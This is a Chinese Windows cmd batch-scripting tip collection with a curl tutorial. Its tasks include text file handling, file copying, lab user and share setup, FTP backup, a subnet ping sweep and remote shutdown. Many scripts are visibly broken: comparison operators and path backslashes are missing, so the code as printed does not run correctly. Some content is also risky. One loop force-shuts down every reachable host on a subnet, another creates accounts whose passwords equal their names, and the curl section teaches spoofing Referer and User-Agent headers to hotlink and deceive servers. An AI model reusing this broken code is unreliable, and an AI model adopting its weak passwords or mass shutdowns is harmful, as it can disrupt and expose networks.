         1.列表多个文本文件文件名+文件内容 


         find /v "" *.txt >list.txt 


         *继续观察自带命令的有价值输出 


         ------------------------------------------------------------ 


         2.构造001.txt 002.txt 999.txt 文本内容分别是text001 text002 


         for /l %i in (1,1,9) do @echo text00%i >00%i.txt 


         for /l %i in (10,1,99) do @echo text0%i >0%i.txt 


         for /l %i in (100,1,999) do @echo text%i >%i.txt 


         *分段补零 


         ----------------------------------------------------------------- 


         3.构造http://..001|002|003../01|02|03.htm文件,以下内容保存为.bat文件 


         执行 


         代码: 


         setlocal ENABLEDELAYEDEXPANSION 


         for /l %%i in (1001,1,1162) do for /l %%j in (101,1,112) do @(set 


         s=%%i && set t=%%j && echo ^<td^>^<a 


         href="http://www.sergeaura.net/TGP/!s:~1,3!/images/!t:~1,2!.jpg" rel="external nofollow" target="_blank" ^>!s 


          :~1,3!!t:~1,2!.jpg^</a^>^</td^> >>file.htm) 


          endlocal 


          *嵌套for,两组变量 


          *00x,0x序号构造,加减高位 ccfer su99原创 


          ------------------------------------------------------------ 


          4.将一堆文本形式的网址单独转换成IE收藏夹的快捷方式 


          for /f "tokens=1,2,3 delims=:/" %i in ('findstr /n "." 文本.txt') do 


          echo [InternetShortcut] >>%k_%i.url && echo url=http://%k 


          >>%k_%i.url 


          *没什么特别的 


          ------------------------------------------------------------ 


          5.将IE收藏夹导出为CSV格式文档,以下内容保存为.bat文件执行 


          代码: 


          for /f "tokens=1,3,4 delims=:" %%i in ('findstr /s "http" *.url') do 


          if %%k neq 0 (echo %%i,http:%%j:%%k >>list.csv) else echo 


         %%i,http:%%j >>list.csv 


          *findstr /s *.*得到文件相对路径,利用之 


          ------------------------------------------------------------ 


          6.有txt文件all.txt 和 a.txt 里面存放的是文件列表,求出a.txt里面没有 


          ,而all.txt里有的文件列表 


          #有txt文件 all.txt 和 a.txt 里面存放的是文件列表,a.txt 是 all.txt 的 


          子集,求出a.txt里面没有,而all.txt里有的文件列表 


          for /f "delims=" %i in (all.txt) do @findstr /x /c:"%i" a.txt >nul 


          || @findstr /x /c:"%i " b.txt >nul || @echo %i>>b.txt 


          *连续的||..||应用 


          ------------------------------------------------------------ 


          7.文本文件中的单词实现全文自动统计并排序 


          一个文本文件,每行有一个单词或字符串(有重复的),几千行。用word或 


          UE只能做到按字典顺序重新排列、或选中某词统计其个数。 


          有没有一种方法能自动统计每一不同单词的出现次数,并输出结果列表(加按 


          出现次数排序就更好了)。 


          源文件内容: 


          abc 


          adfg 


          aew 


          dew 


          abc 


          abc 


          aew 


          adfg 


          abc 


          dew 


          adfg 


          ewq 


          abc 


          自动统计并排序后输出列表(假设): 


          abc    5 


          adfg    3 


          aew    2 


          dew    2 


          ewq    1 


          设输入文本为tmp 


          for /f "delims=" %i in (tmp) do @echo %i >> %i.txt 


          @findstr /n "." *.txt >tmp1 


          for /f "tokens=1-3 delims=:" %i in (tmp1) do @echo %k %j>%i 


          copy *.txt result.txt 


          *分类汇总,excel,awk。。不合用的时候,cmd顶住 


          *行号=数量 


          ------------------------------------------------------------ 


          8.统计一个文本文件中某一单词出现的次数?,以下内容保存为.bat文件执行 


          find_word.bat 


          代码: 


           @echo off 


           setlocal ENABLEDELAYEDEXPANSION 


           set /p file=请输入要查询的文件名: 


           set /p name=请输入要查询的单词: 


           set /a n=0 


           :loop 


           set /a n=n+1 


           for /f "tokens=%n% delims=,;.()[]{}!? " %%i in (%file%) do if /i %%i 


           equ %name% echo %name% >>%name%.txt 


           if %n% neq 255 (goto loop) else goto end 


           :end 


           for /f "delims=:" %%i in ('findstr /n "." %name%.txt') do set x=%%i 


           echo %name%出现的次数为:%x% 


           del %name%.txt 


           endlocal 


          *for进行单词匹配,慢死人的那种,纯属yy 


          ------------------------------------------------------------ 


           9.GB和Maxthon群组转换,以下内容保存为.bat文件执行 


          GB和Maxthon群组转.bat 


          代码: 


           @echo off 


           :common 


           setlocal ENABLEDELAYEDEXPANSION 


           findstr "CaptorGroup" *.cgp  && goto max_gb ||  goto gb_max 


           :max_gb 


          rd /s/q gb_group 


          md gb_group 


           for %%i in (*.cgp) do echo [Group]>>gb_group\%%i 


           for %%a in (*.cgp) do for /f "tokens=1-4 delims  :" %%i in ('findstr 


          /n "=" "%%a                " ') do set /a n=%%i-2 && echo 


          name!n!=%%j>>gb_group\%%a && echo ^url!n!=%%k:%%l>>gb_group\%%a 


          goto end 


           :gb_max 


          rd /s/q max_group 


          md max_group 


          for %%a in (*.cgp) do for /f "tokens=2 delims  " %%i in ('findstr 


          "." "%%a               " ') do echo %%i>>max_group\%%~na.txt 


          for %%a in (max_group*.txt) do echo 


           [CaptorGroup]>>max_group\%%~na.cgp 


          for %%a in (max_group*.txt) do for /f "tokens=1,2 delims=: " %%i in 


           ('findstr "." "%%a               " ') do if "%%i" neq "http" (set 


          n=%%i) else (if "%%i"    "http" echo 


           !n!=http:%%j>>max_group\%%~na.cgp) 


          del /q max_group*.txt 


          goto end 


          endlocal 


           :end 


          cls 


          echo 转换完成,请查看子目录 


          pause 


          exit 


          *两行并一行,一行拆两行 


          ------------------------------------------------------------ 


           10.合并2个字幕文本文件 


          合并2个字幕文本文件 


          原始文件1如下 


          代码: 


           1 


          00:00:17,920 --> 00:00:18,625 


          Charlie? 


          2 


          00:00:19,858 --> 00:00:20,606 


          Charlie? 


          3 


            00:00:21,635 --> 00:00:23,140 


            和我一块儿去散步怎样? 


            4 


            00:00:23,739 --> 00:00:24,456 


            不 


            5 


            00:00:24,972 --> 00:00:27,317 


            不,不去,Locke,今天我哪儿都不想去 


            原始文件2如下 


            代码: 


            1 


            00:00:17,820 --> 00:00:18,525 


            Charlie? 


            2 


            00:00:19,758 --> 00:00:20,506 


            Charlie? 


            3 


            00:00:21,535 --> 00:00:23,040 


            How about you and I go for a walk? 


            4 


            00:00:23,639 --> 00:00:24,356 


            No. 


            5 


            00:00:24,872 --> 00:00:27,217 


            No, thanks, Locke. I think I'm gonna stay in today. 


            要求合并后的文件如下 


            代码: 


            1 


            00:00:17,920 --> 00:00:18,625 


            Charlie? 


            Charlie? 


            2 


          00:00:19,858 --> 00:00:20,606 


          Charlie? 


          Charlie? 


          3 


          00:00:21,635 --> 00:00:23,140 


          和我一块儿去散步怎样? 


          How about you and I go for a walk? 


          4 


          00:00:23,739 --> 00:00:24,456 


          不 


         No. 


          5 


          00:00:24,972 --> 00:00:27,317 


          不,不去,Locke,今天我哪儿都不想去 


         No, thanks, Locke. I think I'm gonna stay in today. 


          想把中英文字幕合并起来,边看片子还可以边学学英文 


          其实软件上是可以同时加载2个字幕的,也可以实现要求 


          可是我现在看片子都是在Xbox上看,XBMC这个播放软件在同一时间只能支持一 


          个srt字幕,所以才会有此要求 


          设文件名为file1.txt file2.txt,以下内容保存为.bat文件执行 


          f.bat 


          代码: 


          del 1.txt 2.txt all.txt 合并后文档.txt 


          echo 加一行 >2.txt 


          type file2.txt >>2.txt 


          copy file1.txt 1.txt 


          :#源文件准备 


          findstr /n "." 1.txt 2.txt >tmp.txt 


          :#合并源文件并添加行号 


          for /l %%i in (1,1,500) do findstr /r "^1.txt:%%i:" tmp.txt 


          >>all.txt || findstr /r "^2.txt:%%i:" tmp.txt >>all.txt 


          :#分析,构造目标文件 


         for /f "tokens=3,* delims=:" %%i in (all.txt) do echo %%i%%j >>合并 


         后文档.txt 


          :#滤除多余信息 


         *交叉合并 


         ------------------------------------------------------------ 


          11.snap&compare 多个html的固定内容 


         有以下内容 


         http://www.abcd.com/pub/wrok1.html 


         http://www.abcd.com/pub/wrok2.html 


         http://www.abcd.com/pub/wrok3.html 


         . 


         .. 


         ... 


         http://www.abcd.com/pub/wrok(*).html 


         每个html,几乎整个html部分都是固定内容,除了我要监测的(文本方式打开 


         )第225行,第38位开始,75位结束这段,它们 


         有不定时的改变,所有html更新的部分也许不止这一个地方,但我只想监测这 


         一段 


         有没有软件或方法snap一次镜像,然后下次再snap后作出对上次snap的对比 


          ,得出哪个url的html内容监测段作出了改变? 


         无错误控制,以下内容保存为.bat文件执行 


          snap&compare.bat 


         代码: 


         @echo off 


         del 差异.txt 2>nul 


         copy /y snap.txt snap_old.txt 1>nul 


          :#清理及悲愤snap 


          :snap 


         echo        %date% %time%       >snap.txt 


          :#加入时间戳 


          set url=http://www.abcd.com/pub/wrok 


          :#url变量赋值 


          for /l %%i in (1,1,100) do curl %url%%%i.html | findstr /n "." | 


          findstr /r "^225:" >>tmp.txt && echo %url%%%i >>tmp.txt 


          :#下载htm并过滤所需行 


          setlocal ENABLEDELAYEDEXPANSION 


          for /f "tokens=1* delims=:" %%i in (tmp.txt) do if "%%i"  "http" 


          (echo %%i%%j !n! >>snap.txt) else set n=%%j 


          endlocal 


          :#整型快照 


          del tmp.txt 


          :#删除临时文件 


          :goto 


          if not exist snap_old.txt cls && echo           第一次建立快照文件 


          snap^.txt^,请再次运行snap^&compare^.cmd获取文件差异                       && pause 


          && goto end 


          :#判断是否存在对比快照,如不存在则不进行差异比较 


          :compare 


          findstr /n "." snap.txt >tmp1.txt 


          findstr /n "." snap_old.txt >tmp2.txt 


          :#为snap文本加入行号 


          for /l %%i in (2,1,100) do findstr /r "^%%i:" tmp1.txt tmp2.txt 


          >>tmp3.txt 


          :#以行号为序合并tmp文件 


          findstr /r "1:" tmp*.txt >>差异.txt 


          :#添加时间戳 


          setlocal ENABLEDELAYEDEXPANSION 


          for /f "tokens=1* delims=:" %%i in (tmp3.txt) do if %%i  tmp1.txt 


          (set n=%%j) else (if %%j neq !n! echo %%j>>差异.txt) 


          endlocal 


          :#比较文本,计算差异行及行号 


          del tmp*.txt 


          :#清理临时文件 


          cls && echo            完成差异比较,请查看"差异.txt"                         && 


          pause 


          end: 


          *两行并一行,相似文本比较 


5. cmd 


          cmd下的一些文件处理: 


          1.保持文件夹结构,copy特定大小,时间,类型文件 


          2.保持文件夹结构,copy文件名,内容空 


          3.按文件数量移动文件到目标目录 


          4.copy某层(3..4..5)子目录下的文件到目标路径 


          5.删除文件夹中非某扩展名(如txt)的文件 


          6.copy不同文件夹下的同名文件到目标文件夹 


          7.同一文件copy到所有子文件夹中 


          8.处理所有扩展名为e??且不是exe的文件 


          9.每个文件生成一个同名文件夹,然后把各个文件拷贝到同名文件夹中 


          10.删除空文件夹 


          1.保持文件夹结构,copy特定大小,时间,类型文件 


          #特定类型 


          xcopy /s/y *.exe 目标路径 


          *很多单独的命令(dir;xcopy等)自身就富有变化,善用之 


          #特定大小 


          (例如小于50000字节,具体运算符号:EQU - 等于 NEQ - 不等LSS - 小于 LEQ 


         - NEQ - 不等于) 


         for /r %i in (*.*) do if %~zi lss 50000 xcopy /s "%i" 目标路径"%~pi" 


         *出动循环武器for命令,可与众多命令搭配使用,例如if,findstr,echo等等 


         *这里用它枚举子文件夹下的文件,%~zi扩冲为文件大小,交给if命令进行比较 


         运算,成功后xcopy至目标路径并copy文件夹 


         *for命令执行顺序)输入,for枚举,do...爱干吗干嘛 


         #特定时间 


         例:拷贝特定时间(2005-04-19)的文件,以下内容保存为.bat文件执行 


         代码: 


         setlocal ENABLEDELAYEDEXPANSION 


         for /r %%i in (*.*) do set dd=%%~ti && if "!dd:~0,8!"  "05-04-19" 


         xcopy /s "%%i" 目标路径"%%~pi" 


         endlocal 


         *同上一条,还是for,if,xcopy,由于不能直接对for变量%~ti进行%~ti:~0,8这 


         样的扩展,变通一下,set给普通变量,再做扩展 


         *%var~:0,8%扩展的说明:两个数字表示偏移量和长度,具体参看set /? 


         *关于ENABLEDELAYEDEXPANSION延迟环境变量扩充,参看set /?,有实例说明 


         ----------------------------------------------- 


         2.保持文件夹结构,copy文件名,内容空 


         xcopy /t/s *.* 目标路径 


         for /r %i in (*.*) do echoc >目标路径"%~pnxi" 


         *xcopy /t/s建立镜象文件夹,for /r in (*.*)枚举子文件夹中的文件,利用 


         echoc的bug,写入0字节文件 


         ----------------------------------------------- 


         3.按文件数量移动文件到目标文件夹,以下内容保存为.bat文件执行 


         代码: 


         setlocal ENABLEDELAYEDEXPANSION 


          set /a n=0 


          :loop 


          set /a n=n+1 


          md 文件夹%n% 


          for %%i in (*.*) do move "%%i" 文件夹%n% & dir 文件夹%n% | findstr 


          /c:"100 个文件" && goto loop 


          endlocal 


          *需求将源文件夹中的文件,每100个移动至文件夹1..2..3 


          *for (*.*) do move一个 && 查找是否有100个了 && 找到跳出去,移动下 


          100个 


          ----------------------------------------------- 


          4.copy某层(3..4..5)子目录下的文件到目标路径 


          #复制第3层文件夹下的文件到目标路径 


          dir /s/b/a:d >d.txt 


          for /f "tokens=1-4 delims=" %i in (d.txt) do echo n | xcopy /e 


          "%i\%j\%k\%l" 目标路径 


          *dir 列出没有标题信息或摘要的子文件夹,并重定向到d.txt 


          *for /f ..(d.txt),分析d.txt,交xcopy复制 


          *也可以直接用for /f ..('dir /s/b/a:d') do dir输出会被抓进内存,当作 


          文件分析。分两行写主要是考虑到文件夹复杂时的脚本效率 


          ----------------------------------------------- 


          5.删除文件夹中非某扩展名(如txt)的文件 


          for /f "delims=/" %i in ('dir /b/s *.*') do dir /b/s *.txt | find 


          "%i" || del "%i" 


          *抓dir *.*的输出,在dir *.txt输出中查找,没找到则不是txt文件,删除之 


          *可扩充为非txt+jpg+gif的文件,不会眼花了 


          ----------------------------------------------- 


          6.copy不同文件夹下的同名文件到目标文件夹 


          文件夹1下面有一个文件123.jpg 


         文件夹2下面也有一个文件123.jpg,文件名相同,内容不同 


         文件夹3下面也有一个文件123.jpg,文件名相同,内容不同 


          …… 


         我想搜索所有的文件123.jpg,copy到一个目标文件夹下,但是我用搜索->复 


         制,出现后者覆盖前者的问题,只能保留一个文件123.jpg,有没有 


         办法把这些同名文件拷贝到相同文件夹下?或者是说如何自动重命名搜索到的 


         文件? 


         dir /s/b 123.jpg | find /n "123.jpg" >temp.txt 


         for /f "tokens=1,2 delims=[]" %i in (temp.txt) do copy "%j" d:123- 


         "%i".jpg 


         *枚举所有123.jpg文件的完整路径,并加上行号重定向到temp.txt 


         *for /f () do copy 同时重命名为123_行号.jpg,行号不会重复,利用一下 


         ----------------------------------------------- 


         7.同一文件copy到所有子文件夹中 


         for /r %a in (.) do xcopy /y filename "%~pa" 


         *for /r ..(.) do 只枚举文件夹 


         ----------------------------------------------- 


         8.处理所有扩展名为e??且不是exe的文件 


         for %i in (*.e??) do if /i "%~xi" neq ".exe" echo %i 


         ----------------------------------------------- 


         9.每个文件生成一个同名文件夹,然后把各个文件拷贝到同名文件夹中 


         for %i in (*.*) do md "%~ni" && copy %i "%~ni" 


         ------------------------------------------------ 


          10.删除空文件夹 


         for /l %a in (1,1,9) do for /r %i in (.) do rd %~si 


6. cmdhtm 


         list.rar 


         1.rar 


7. cmd 


         cmd一些其他应用 


         1.快速建用户和共享文件夹 


         2.让服务器在空闲时自动关机或休眠 


         3.通过FTP自动备份文件 


         4.扫描一个网段.用for和ping.然后得到存活主机把结果存为ip和ip之间用,隔 


         开 


         5.DOS下文件列表按文件名长度递增排列 


         6.远程关机 


         1.快速建用户和共享文件夹 


         又要给学生机房装机了 


         因为现在有这样的要求: 


         在教师上加用户 (A1、A2、……A7、B1……H7)(对应学生机) 


         在教师机上建目录共享 (要对应机器.........) 


         就是要建A1目录给A1那台机用。 


         好繁啊,有什么好的介绍吗? 


         for %i in (a b c d e f h) do for /l %j in (1,1,7) do echo %i%j 


         >>name.txt 


          :#构造序号文件 


         for /f %i in (name.txt) do net user %i %i /add 


          :#天家用户 


         for /f %i in (name.txt) do md %i 


          :#建目录 


         for /f %i in (name.txt) do net share %i=盘符:\%i 


          :#共享目录 


         for /f %i in (name.txt) do cacls \%i /g %i:f administrator:f 


         :#配置权限,一路y回车,即可 


         *有for不繁 


         --------------------------------------------------------------- 


         2.让服务器在空闲时自动关机或休眠 


         单位有一局域网,由于win2000的服务器代理上网,内网IP:192.168.0.* 


         因大家不定时上网,一般在后半夜便无人再使用网络,但也不能搞一刀切,不 


         能设定某个时间自动关机,现求一软件,能自动检测内网有无人开机,如果发 


         现在0点后,半个 小时无人上网,服务器则自动关机(或休眠),我发现 


         poweroff软件无法实现这个功能。希望大家帮忙。 


         run.bat #计划任务 0:30分执行这个bat。每30分钟重复执行.注意别ping了 


         服务器,没测试过,不太可靠 


         以下内容保存为.bat文件执行 


         代码: 


         del reply.txt 


         echo 关机日志 > reply.txt 


         for /l %%i in (2,1,254) do ping -n 1 192.168.0.%%i | find "Reply" 


         >>reply.txt 


         find "Reply" reply.txt || shutdown 


         --------------------------------------------------------------- 


         3.通过FTP自动备份文件 


         机器 A 


         D:aaaa ——》a.rar 


         D:bb ————》b.rar 


         每 2个小时自动生成一个RAR文件,存放到 D:ak日期时间 目录下 


          (D:ak2005-01-042.00)然后自动通过FTP传送到 机器B(专用备份机 


         器) 


         请问谁能帮忙写个脚本 谢谢。 或者把压缩过程省略,直接传送文件夹也可以 


         ?传送目录?flashfxp啊 


         以下内容保存为.bat文件执行 


           代码: 


           @echo off 


           path=%path%;c:program fileswinrar 


           :rar 


           set tdate=%date:~4,10% 


           set ttime=%time:~0,2% 


           mkdir "d:ak\%tdate%\%ttime%" 


           rar a -r "d:ak\%tdate%\%ttime%a.rar" d:aaa*.* 


           rar a -r "d:ak\%tdate%\%ttime%.rar" d:bb*.* 


           :ftp 


           echo open ftp.hitme.com >ftp.txt 


           echo hitme >>ftp.txt 


           echo password >>ftp.txt 


           echo bin >>ftp.txt 


           echo hash >>ftp.txt 


           echo prompt >>ftp.txt 


           echo cd bak >>ftp.txt 


           echo lcd "d:ak\%tdate%\%ttime%" >>ftp.txt 


           echo mkdir %tdate% >>ftp.txt 


           echo mkdir %tdate%/%ttime% >>ftp.txt 


           echo cd %tdate%/%ttime% >>ftp.txt 


           echo mput *.* >>ftp.txt 


           echo cd /bak >>ftp.txt 


           echo quit >>ftp.txt 


           ftp -s:ftp.txt 


           *echo 构造ftp.txt,利用了系统变量%date%,%time%的扩充形式 


           --------------------------------------------------------------- 


           4.扫描一个网段.用for和ping.然后得到存活主机把结果存为ip和ip之间用,隔 


           开 


           for /l %i in (1,1,254) do @echo connecting 192.168.1.%i && @(for /f 


          "tokens=1,3 skip=2 delims=: " %j in ('ping 192.168.1.%i') do @if 


          '%j'  'Reply' @find "192.168.1.%i" list.txt > nul 2>nul || @echo 


          %k>>list.txt && @echo 192.168.1.%i connected) 


          *code by su99 


          *单行精品 


          --------------------------------------------------------------- 


          5.DOS下文件列表按文件名长度递增排列 


          如果一个目录里面有如下四个文件(当然,实际中文件数量和文件名是随机的) 


          1.txt,2.txt,10.txt,20.txt 


          在DOS下要如何使用如何才能让他们按 


          1.txt 


          2.txt 


          10.txt 


          20.txt 


          输出,而非 


          1.txt 


          10.txt 


          2.txt 


          20.txt 


          输出? 


          我用的系统是xp~多谢大家~ 


          for /l %a in (1,1,20) do @(if exist "%a.txt" echo %a.txt) 


          *思路是穷举。前提是文件名有一定规律:除了数字外的部分要一样,如果是 


          abc1.txt, xyz10.txt这样乱来,这个方法就不管用了(严格说,如果是有限 


          个不同的pattern,仍然可以做到,不过麻烦一些) 


          *code by su99 


                        or 


          list.bat,以下内容保存为.bat文件执行 


          代码: 


          @echo off 


          set t=.... 


          :loop 


          set t=%t%. 


          dir /b /a:-d | findstr /r "^%t%$" 


          if "%t%"    "........................." goto end 


          goto loop 


          :end 


          *findstr/r "^.....$过滤排序 


          --------------------------------------------------------------- 


          6.远程批量关机,以下内容保存为.bat文件执行 


          代码: 


          for /l %%i in (1,1,254) do @(arp -d & ping 192.168.3.%%i -n 1 -w 100 


          & arp -a | find "00-00-00-00-00-00" > nul || shutdown -m 


          192.168.3.%%i -s -f) 


          *关闭了icmp,照关 


8. cmd 


          cmd中一些符号的说明: 


          & 


          最简单的组合命令,作用是连接n个命令,按顺序执行,不管是否有执行失败 


          。 


          a & b 


          #依次执行a,b 


          && 


          组合命令,与&命令不同之处在于,判断是否有执行失败,如失败将不继续执 


          行剩下的命令。 


          a && b 


          #a成功,b执行 


          || 


          作用与&&相反 


          a || b 


          #a失败,b执行 


          连着用a && b || c,表示a成功,则执行b,b失败,则执行c 


          >、>> 


          输出重定向命令,将命令的输出写入到一个文件中。 


          区别:>覆盖写入,>>尾部追加写入 


          echo a>a.txt 


          find /v "" *.txt >list.txt 


          | 


          管道命令,前一命令的输出作为后一命令的输入,常用于文本过滤操作 


          dir | find "hitme.exe" 


9. cmdUnicode to ASCII 


          TYPE Unicode.txt > ASCII.txt 


10. Curl- 


          CURL? 嗯,说来话长了~~~~ 


          这东西现在已经是苹果机上内置的命令行工具之一了,可见其魅力之一斑 


          1) 


          二话不说,先从这里开始吧! 


          curl http://www.yahoo.com 


          回车之后,www.yahoo.com 的html就稀里哗啦地显示在屏幕上了~~~~~ 


          2) 


          嗯,要想把读过来页面存下来,是不是要这样呢? 


          curl http://www.yahoo.com > page.html 


         当然可以,但不用这么麻烦的! 


         用curl的内置option就好,存下http的结果,用这个option: -o 


         curl -o page.html http://www.yahoo.com 


         这样,你就可以看到屏幕上出现一个下载页面进度指示。等进展到100%,自然 


         就OK咯 


         3) 


         什么什么?!访问不到?肯定是你的proxy没有设定了。 


         使用curl的时候,用这个option可以指定http访问所使用的proxy服务器及其 


         端口: -x 


         curl -x 123.45.67.89:1080 -o page.html http://www.yahoo.com 


         4) 


         访问有些网站的时候比较讨厌,他使用cookie来记录session信息。 


         像IE/NN这样的浏览器,当然可以轻易处理cookie信息,但我们的curl呢 


          ?..... 


         我们来学习这个option: -D <-- 这个是把http的response里面的cookie信息 


         存到一个特别的文件中去 


         curl -x 123.45.67.89:1080 -o page.html -D cookie0001.txt 


         http://www.yahoo.com 


         这样,当页面被存到page.html的同时,cookie信息也被存到了 


         cookie0001.txt里面了 


         5) 


         那么,下一次访问的时候,如何继续使用上次留下的cookie信息呢?要知道 


         ,很多网站都是靠监视你的cookie信息, 


         来判断你是不是不按规矩访问他们的网站的。 


         这次我们使用这个option来把上次的cookie信息追加到http request里面去: 


         -b 


         curl -x 123.45.67.89:1080 -o page1.html -D cookie0002.txt -b 


         cookie0001.txt http://www.yahoo.com 


         这样,我们就可以几乎模拟所有的IE操作,去访问网页了! 


         6) 


         稍微等等~~~~~我好像忘记什么了~~~~~ 


         对了!是浏览器信息~~~~ 


         有些讨厌的网站总要我们使用某些特定的浏览器去访问他们,有时候更过分的 


         是,还要使用某些特定的版本~~~~ 


         NND,哪里有时间为了它去找这些怪异的浏览器呢!? 


         好在curl给我们提供了一个有用的option,可以让我们随意指定自己这次访问 


         所宣称的自己的浏览器信息: -A 


         curl -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" -x 


         123.45.67.89:1080 -o page.html -D cookie0001.txt 


         http://www.yahoo.com 


         这样,服务器端接到访问的要求,会认为你是一个运行在Windows 2000上的 


         IE6.0,嘿嘿嘿,其实也许你用的是苹果机呢! 


         而"Mozilla/4.73 [en] (X11; U; Linux 2.2; 15 i686"则可以告诉对方你是 


         一台PC上跑着的Linux,用的是Netscape 4.73,呵呵呵 


         7) 


         另外一个服务器端常用的限制方法,就是检查http访问的referer。比如你先 


         访问首页,再访问里面所指定的下载页,这第二次访问的referer地址就是第 


         一次访问成功后的页面地址。这样,服务器端只要发现对下载页面某次访问的 


         referer地址不 是首页的地址,就可以断定那是个盗连了~~~~~ 


         讨厌讨厌~~~我就是要盗连~~~~~!! 


         幸好curl给我们提供了设定referer的option: -e 


         curl -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" -x 


         123.45.67.89:1080 -e "mail.yahoo.com" -o page.html -D cookie0001.txt 


         http://www.yahoo.com 


         这样,就可以骗对方的服务器,你是从mail.yahoo.com点击某个链接过来的了 


         ,呵呵呵 


         8) 


         写着写着发现漏掉什么重要的东西了!----- 利用curl 下载文件 


         刚才讲过了,下载页面到一个文件里,可以使用 -o ,下载文件也是一样。 


          比如, curl -o 1.jpg http://cgi2.tky.3web.ne.jp/~zzh/screen1.JPG 


         这里教大家一个新的option: -O 


         大写的O,这么用: curl -O 


         http://cgi2.tky.3web.ne.jp/~zzh/screen1.JPG 


         这样,就可以按照服务器上的文件名,自动存在本地了! 


         再来一个更好用的。 


         如果screen1.JPG以外还有screen2.JPG、screen3.JPG、....、 


         screen10.JPG需要下载,难不成还要让我们写一个script来完成这些操作? 


         不干! 


         在curl里面,这么写就可以了: 


         curl -O http://cgi2.tky.3web.ne.jp/~zzh/screen[1-10].JPG 


         呵呵呵,厉害吧?!~~~ 


         9) 


         再来,我们继续讲解下载! 


         curl -O http://cgi2.tky.3web.ne.jp/~{zzh,nick}/[001-201].JPG 


         这样产生的下载,就是 


         ~zzh/001.JPG 


         ~zzh/002.JPG 


         ... 


         ~zzh/201.JPG 


         ~nick/001.JPG 


         ~nick/002.JPG 


         ... 


         ~nick/201.JPG 


         够方便的了吧?哈哈哈 


         咦?高兴得太早了。 


          由于zzh/nick下的文件名都是001,002...,201,下载下来的文件重名,后面 


         的把前面的文件都给覆盖掉了~~~ 


         没关系,我们还有更狠的! 


         curl -o #2_#1.jpg http://cgi2.tky.3web.ne.jp/~{zzh,nick}/[001- 


         201].JPG 


         --这是.....自定义文件名的下载? 


         --对头,呵呵! 


         #1是变量,指的是{zzh,nick}这部分,第一次取值zzh,第二次取值nick 


         #2代表的变量,则是第二段可变部分---[001-201],取值从001逐一加到201 


         这样,自定义出来下载下来的文件名,就变成了这样: 


         原来: ~zzh/001.JPG ---> 下载后: 001-zzh.JPG 


         原来: ~nick/001.JPG ---> 下载后: 001-nick.JPG 


         这样一来,就不怕文件重名啦,呵呵 


         9) 


         继续讲下载 


         我们平时在windows平台上,flashget这样的工具可以帮我们分块并行下载 


         ,还可以断线续传。 


         curl在这些方面也不输给谁,嘿嘿 


          比如我们下载screen1.JPG中,突然掉线了,我们就可以这样开始续传 


         curl -c -O http://cgi2.tky.3wb.ne.jp/~zzh/screen1.JPG 


         当然,你不要拿个flashget下载了一半的文件来糊弄我~~~~别的下载软件的半 


         截文件可不一定能用哦~~~ 


         分块下载,我们使用这个option就可以了: -r 


         举例说明 


          比如我们有一个http://cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 要下载(赵老 


         师的电话朗诵 :D ) 


         我们就可以用这样的命令: 


         curl -r 0-10240 -o "zhao.part1" 


         http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 & 


         curl -r 10241-20480 -o "zhao.part1" 


         http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 & 


         curl -r 20481-40960 -o "zhao.part1" 


         http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 & 


         curl -r 40961- -o "zhao.part1" 


         http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 


         这样就可以分块下载啦。 


         不过你需要自己把这些破碎的文件合并起来 


          如果你用UNIX或苹果,用 cat zhao.part* > zhao.mp3就可以 


          如果用的是Windows,用copy /b 来解决吧,呵呵 


          上面讲的都是http协议的下载,其实ftp也一样可以用。 


          用法嘛, 


          curl -u name:passwd ftp://ip:port/path/file 


          或者大家熟悉的 


          curl ftp://name:passwd@ip:port/path/file 


          10) 


          说完了下载,接下来自然该讲上传咯 


          上传的option是 -T 


          比如我们向ftp传一个文件: curl -T localfile -u name:passwd 


          ftp://upload_site:port/path/ 


          当然,向http服务器上传文件也可以 


          比如 curl -T localfile http://cgi2.tky.3web.ne.jp/~zzh/abc.cgi 


          注意,这时候,使用的协议是HTTP的PUT method 


          刚才说到PUT,嘿嘿,自然让老服想起来了其他几种methos还没讲呢! 


          GET和POST都不能忘哦。 


          http提交一个表单,比较常用的是POST模式和GET模式 


          GET模式什么option都不用,只需要把变量写在url里面就可以了 


          比如: 


          curl http://www.yahoo.com/login.cgi?user=nickwolfe&password=12345 


          而POST模式的option则是 -d 


          比如,curl -d "user=nickwolfe&password=12345" 


          http://www.yahoo.com/login.cgi 


          就相当于向这个站点发出一次登陆申请~~~~~ 


          到底该用GET模式还是POST模式,要看对面服务器的程序设定。 


          一点需要注意的是,POST模式下的文件上的文件上传,比如 


          <form method="POST" enctype="multipar/form-data" 


          action="http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi"> 


          <input type=file name=upload> 


          <input type=submit name=nick value="go"> 


          </form> 


          这样一个HTTP表单,我们要用curl进行模拟,就该是这样的语法: 


          curl -F upload=@localfile -F nick=go 


          http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi 


          罗罗嗦嗦讲了这么多,其实curl还有很多很多技巧和用法 


          比如 https的时候使用本地证书,就可以这样 


          curl -E localcert.pem https://remote_server 


          再比如,你还可以用curl通过dict协议去查字典~~~~~ 


          curl dict://dict.org/d:computer 


          今天就先讲到这里吧,呵呵。疯狂的curl功能,需要你---一起来发掘。 


          copyright by nickwolfe@CCF 


          2004.08.24 21:24应朋友之邀所作--初稿 


          curl.rar 


11. MT<->IE cmd 


          快捷组cgp->收藏夹url 


          conv_c_u.cmd 


          MT Groups目录下运行 


          代码 


          @echo off 


          setlocal ENABLEDELAYEDEXPANSION 


          for %%a in (*.cgp) do ( 


          set pathu=ie_url\%%~na 


          md !pathu! 


           set /a n=0 


           for /f "skip=1 tokens=1* delims  " %%i in (%%a) do ( 


           if "%%i"  "[Properties]" (set /a n=1) else ( 


            if !n!  0 ( 


               echo [InternetShortcut]>>"!pathu!\%%i".url 


              echo URL=%%j>>"!pathu!\%%i".url) 


              ) 


           ) 


           ) 


           endlocal 


           收藏夹url->快捷组cgp 


           conv_u_c.cmd 


           IE_Favorites目录下运行 


           代码 


           @echo off 


           echo [CaptorGroup]>>url.cgp 


           for /f %%i in ('dir /b/ad') do ( 


           echo [CaptorGroup]>>%%i.cgp 


           ) 


           setlocal ENABLEDELAYEDEXPANSION 


